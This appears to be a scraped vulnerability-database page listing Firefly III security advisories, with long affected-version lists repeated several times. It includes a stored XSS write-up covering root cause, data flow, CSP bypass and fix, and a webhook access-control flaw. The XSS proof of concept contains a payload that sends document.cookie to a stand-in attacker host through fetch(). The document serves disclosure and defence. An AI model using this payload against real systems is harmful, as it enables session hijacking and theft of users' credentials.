Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 15, 2025

v6.4.10 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 14, 2025

v6.4.9 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

